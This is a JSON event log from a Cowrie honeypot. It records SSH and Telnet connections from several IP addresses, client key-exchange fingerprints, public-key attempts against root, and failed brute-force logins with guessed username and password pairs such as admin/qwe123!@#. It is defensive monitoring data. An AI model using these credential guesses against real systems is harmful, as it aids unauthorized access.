{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:33:40.140653Z","src_ip":"185.9.193.111","session":"716f90129fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.217346668243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:01.578389Z","src_ip":"45.63.78.87","session":"982ae81f8548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:02.083236Z","src_ip":"14.103.117.141","session":"ffc7bc62b72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33451,"dst_ip":"159.203.135.109","dst_port":22,"session":"46e53e40ee8d","protocol":"ssh","message":"New connection: 2.57.121.25:33451 (159.203.135.109:22) [session: 46e53e40ee8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:04.626684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:04.631910Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:04.733735Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21121990","message":"login attempt [user/21121990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:05.214068Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2111","message":"login attempt [user/2111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:06.318424Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21101995","message":"login attempt [user/21101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:07.424505Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.166786909103394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:08.237348Z","src_ip":"45.63.78.87","session":"8b94b0fbde43","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"210990","message":"login attempt [user/210990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:08.529351Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21081982","message":"login attempt [user/21081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:09.637258Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:10.741527Z","src_ip":"2.57.121.25","session":"46e53e40ee8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":38306,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aef1783aa08","protocol":"ssh","message":"New connection: 187.212.47.18:38306 (10.17.0.5:22) [session: 0aef1783aa08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:27.347442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:27.351900Z","src_ip":"187.212.47.18","session":"0aef1783aa08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:27.575379Z","src_ip":"187.212.47.18","session":"0aef1783aa08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123!@#","message":"login attempt [admin/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:28.053256Z","src_ip":"187.212.47.18","session":"0aef1783aa08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:29.132382Z","src_ip":"187.212.47.18","session":"0aef1783aa08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf362feeeed4","protocol":"telnet","message":"New connection: 166.62.124.255:47084 (10.17.0.5:23) [session: cf362feeeed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:46.641883Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":48594,"dst_ip":"159.203.135.109","dst_port":22,"session":"418fff1947a0","protocol":"ssh","message":"New connection: 185.9.193.111:48594 (159.203.135.109:22) [session: 418fff1947a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:52.836479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:52.841135Z","src_ip":"185.9.193.111","session":"418fff1947a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:53.244800Z","src_ip":"185.9.193.111","session":"418fff1947a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"oracle","message":"login attempt [mysql/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:54.838221Z","src_ip":"185.9.193.111","session":"418fff1947a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:34:56.110327Z","src_ip":"185.9.193.111","session":"418fff1947a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.469796419143677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:35:17.111402Z","src_ip":"166.62.124.255","session":"cf362feeeed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":43372,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a1af0f59b1","protocol":"ssh","message":"New connection: 149.56.241.206:43372 (10.17.0.5:22) [session: 89a1af0f59b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.687308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.693908Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.716890Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:69:9e:d4:00:23:58:d5:ab:72:26:ef:ff:e1:b0:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNFPDDcbeURND9jsH7TcApp+clT4U4vxIlvYh+R4S4UDH+G62JSIMYisTD800s1g3LyqQTdhlyFGisSbSGB0m0sznlZM0Tx306KM6I7wNrudCL/8UtXa3OLMQ1rkU0VWBo5Qfqd1uGiSVPAzls8slqaHjn9A+iHweTaSVW/40GKKxEJnCK6xkzgIQ9mFu5D//RrpBTmYYBsajRyXtJ1NZzRGHdp1JGGpXLUHspBK89bSgjzLlANDs9VaMbZ2joizsXos05XqYf6TuZow1/gsJU02mt2K80pmM5k6njHHX72gW80sBo7spUlLkztcNxiTBUu+uFgmShjzOPhjBfFA//","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:69:9e:d4:00:23:58:d5:ab:72:26:ef:ff:e1:b0:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.796854Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:69:9e:d4:00:23:58:d5:ab:72:26:ef:ff:e1:b0:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNFPDDcbeURND9jsH7TcApp+clT4U4vxIlvYh+R4S4UDH+G62JSIMYisTD800s1g3LyqQTdhlyFGisSbSGB0m0sznlZM0Tx306KM6I7wNrudCL/8UtXa3OLMQ1rkU0VWBo5Qfqd1uGiSVPAzls8slqaHjn9A+iHweTaSVW/40GKKxEJnCK6xkzgIQ9mFu5D//RrpBTmYYBsajRyXtJ1NZzRGHdp1JGGpXLUHspBK89bSgjzLlANDs9VaMbZ2joizsXos05XqYf6TuZow1/gsJU02mt2K80pmM5k6njHHX72gW80sBo7spUlLkztcNxiTBUu+uFgmShjzOPhjBfFA//","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.802461Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:fa:69:4f:0f:e3:35:db:18:7a:e8:5e:9e:f3:35:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwsfKj3qS86MjtdwybwZ0kdkfJYaYoAxZ0WCNJVurFIu20klu7aASOPPewOyJky/jQ47LOBIGL9YCAYXzHUmi4SehFhEPHvun5xjL9lV8Fq2rIU4fvzwd1FGx5iMB+9K+uKxxzC4SGIycw7eO30nrrmCIbxfrYCntVX4NaSF7MYCAZIKywSavd8cYWs22XiY2H/ioVmwQ5o00b4FBl0Wu/uhJTJiDGu+kXhLKm3O3IdmdyTds7LZ8soiwJcGjbt9QOxJQ/pbIpP8Gum+Pf05SGUVzy4oZ5pdkx/TVbM4qkCLtc1LaHuRj9hdrAk5QHvNxj5TDJu+R1XlBNQAGo2klfw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:fa:69:4f:0f:e3:35:db:18:7a:e8:5e:9e:f3:35:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.826662Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:fa:69:4f:0f:e3:35:db:18:7a:e8:5e:9e:f3:35:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwsfKj3qS86MjtdwybwZ0kdkfJYaYoAxZ0WCNJVurFIu20klu7aASOPPewOyJky/jQ47LOBIGL9YCAYXzHUmi4SehFhEPHvun5xjL9lV8Fq2rIU4fvzwd1FGx5iMB+9K+uKxxzC4SGIycw7eO30nrrmCIbxfrYCntVX4NaSF7MYCAZIKywSavd8cYWs22XiY2H/ioVmwQ5o00b4FBl0Wu/uhJTJiDGu+kXhLKm3O3IdmdyTds7LZ8soiwJcGjbt9QOxJQ/pbIpP8Gum+Pf05SGUVzy4oZ5pdkx/TVbM4qkCLtc1LaHuRj9hdrAk5QHvNxj5TDJu+R1XlBNQAGo2klfw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.830958Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:35:59:4b:4a:5c:20:23:92:40:e8:45:b9:22:41:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZPTL1gfknp3jCzFcN9bOy8ljNF4Fja4tJt/tLRE53QJfSlRyiFERLNMP8d5Kf9kxOhy8k0QqQLhR6NTHrh83UAs34XOJBg/zpmnRvkB1JlA3SyKA54KdaZ5SL3fSxM0zLWVzvV82BUBRhHgY/l0wBrakWlkaMe8+SDr4kQz9IJY0FsfE9rhMjCnb5dWuGtIizCeacWpJVIdX6S9UwDOUeG31qT8AkKd1Fhrfpy48MW9MSrtF33ipuoaxqwHQxExGIxHKqESD9nigDg1xc+hHbvjqdYSX2mhjetjH5ngM8h5TkszZ3t1wcwcq8nik3vfIzuvuYJcOFoSl5pztIHsi7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:35:59:4b:4a:5c:20:23:92:40:e8:45:b9:22:41:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.851934Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:35:59:4b:4a:5c:20:23:92:40:e8:45:b9:22:41:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZPTL1gfknp3jCzFcN9bOy8ljNF4Fja4tJt/tLRE53QJfSlRyiFERLNMP8d5Kf9kxOhy8k0QqQLhR6NTHrh83UAs34XOJBg/zpmnRvkB1JlA3SyKA54KdaZ5SL3fSxM0zLWVzvV82BUBRhHgY/l0wBrakWlkaMe8+SDr4kQz9IJY0FsfE9rhMjCnb5dWuGtIizCeacWpJVIdX6S9UwDOUeG31qT8AkKd1Fhrfpy48MW9MSrtF33ipuoaxqwHQxExGIxHKqESD9nigDg1xc+hHbvjqdYSX2mhjetjH5ngM8h5TkszZ3t1wcwcq8nik3vfIzuvuYJcOFoSl5pztIHsi7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.857305Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:6e:14:a1:fb:f8:60:1d:7d:26:ba:fe:2b:4d:c7:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe/OacKSxkBCaTBgZoxk3PFvVFtAQ5Wo2u8nf2S2l+KbWM2VahExo6lvz9djqbLSaQXHKxM7QnJFnBeDbKpgqgJgQFYnWwuaAaZ2DaLAM1jV/qauz5wHPQxU6TCBoM2Ujviw7oLBWNJD+3GzN232WR17UagAn3YqDnJquWy5fnRxIC7908ggAkllKD6RIK81OJBeRqskAvxaJTOXuYUH0Gc5pvGyWhx0Qevc4V/4xVf3TUq8pa/mEZ8y1zBfvQLSr41S/SnBpn/8jnrQjUizhDbNk9E741PI7Rb9Y9g+47wkDjkFl0Adqk4jpypvLIMuMw2QxONDyOLMadb0WJX8fx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:6e:14:a1:fb:f8:60:1d:7d:26:ba:fe:2b:4d:c7:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.887534Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:6e:14:a1:fb:f8:60:1d:7d:26:ba:fe:2b:4d:c7:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe/OacKSxkBCaTBgZoxk3PFvVFtAQ5Wo2u8nf2S2l+KbWM2VahExo6lvz9djqbLSaQXHKxM7QnJFnBeDbKpgqgJgQFYnWwuaAaZ2DaLAM1jV/qauz5wHPQxU6TCBoM2Ujviw7oLBWNJD+3GzN232WR17UagAn3YqDnJquWy5fnRxIC7908ggAkllKD6RIK81OJBeRqskAvxaJTOXuYUH0Gc5pvGyWhx0Qevc4V/4xVf3TUq8pa/mEZ8y1zBfvQLSr41S/SnBpn/8jnrQjUizhDbNk9E741PI7Rb9Y9g+47wkDjkFl0Adqk4jpypvLIMuMw2QxONDyOLMadb0WJX8fx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.892422Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:ea:6f:ac:b5:6a:71:37:99:31:eb:b8:ae:37:6b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeqQ9jcg6hxNPjt9zp+1GRCWLyWgIDDcl6MN/KG/wkj+6vhzJAZ56WH2B6pvASe3lWeyE/rKRAEuwh1EaZcOWlSXqv72iMJCTnI3DUCdo/hQWxJMEkKpglYR3x2DZanpie26gq/AyTa2k4o5GYGyccoh+2f9s3MAxMPl9yDP9sQe5fYuHIrfsXnDCk1Rqar9r0QrSTUKCESOLIWQJvcckUBXAqjd7bmrfSNl7FtyhPmir6gSCneOy+6eBU9RLSPGblfaMvFkQrq48dmlIKQsBrzRxaePdUE2oHYQvuzAu7FUM7oZw9BmoUSwmkGn0fjkDQDI90XDaMcL64kVz55PRXolx+fJjLiiB4niagYhKaPui5Rgn72kknXrEx6guZZ/v3FNtqF/UI0EXUC5d7C1Mn8nbho2jYn4//8I1bK2chfNqcx3zjWS0rKy9K0bHh+wQ5FWfM1FC5pMKJ2yFUYQ8dzEXExJalTtPXMdV2rUThXHMpYkMPNqPBqa3X9lN8/M0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:ea:6f:ac:b5:6a:71:37:99:31:eb:b8:ae:37:6b:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.918007Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:ea:6f:ac:b5:6a:71:37:99:31:eb:b8:ae:37:6b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeqQ9jcg6hxNPjt9zp+1GRCWLyWgIDDcl6MN/KG/wkj+6vhzJAZ56WH2B6pvASe3lWeyE/rKRAEuwh1EaZcOWlSXqv72iMJCTnI3DUCdo/hQWxJMEkKpglYR3x2DZanpie26gq/AyTa2k4o5GYGyccoh+2f9s3MAxMPl9yDP9sQe5fYuHIrfsXnDCk1Rqar9r0QrSTUKCESOLIWQJvcckUBXAqjd7bmrfSNl7FtyhPmir6gSCneOy+6eBU9RLSPGblfaMvFkQrq48dmlIKQsBrzRxaePdUE2oHYQvuzAu7FUM7oZw9BmoUSwmkGn0fjkDQDI90XDaMcL64kVz55PRXolx+fJjLiiB4niagYhKaPui5Rgn72kknXrEx6guZZ/v3FNtqF/UI0EXUC5d7C1Mn8nbho2jYn4//8I1bK2chfNqcx3zjWS0rKy9K0bHh+wQ5FWfM1FC5pMKJ2yFUYQ8dzEXExJalTtPXMdV2rUThXHMpYkMPNqPBqa3X9lN8/M0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.921920Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
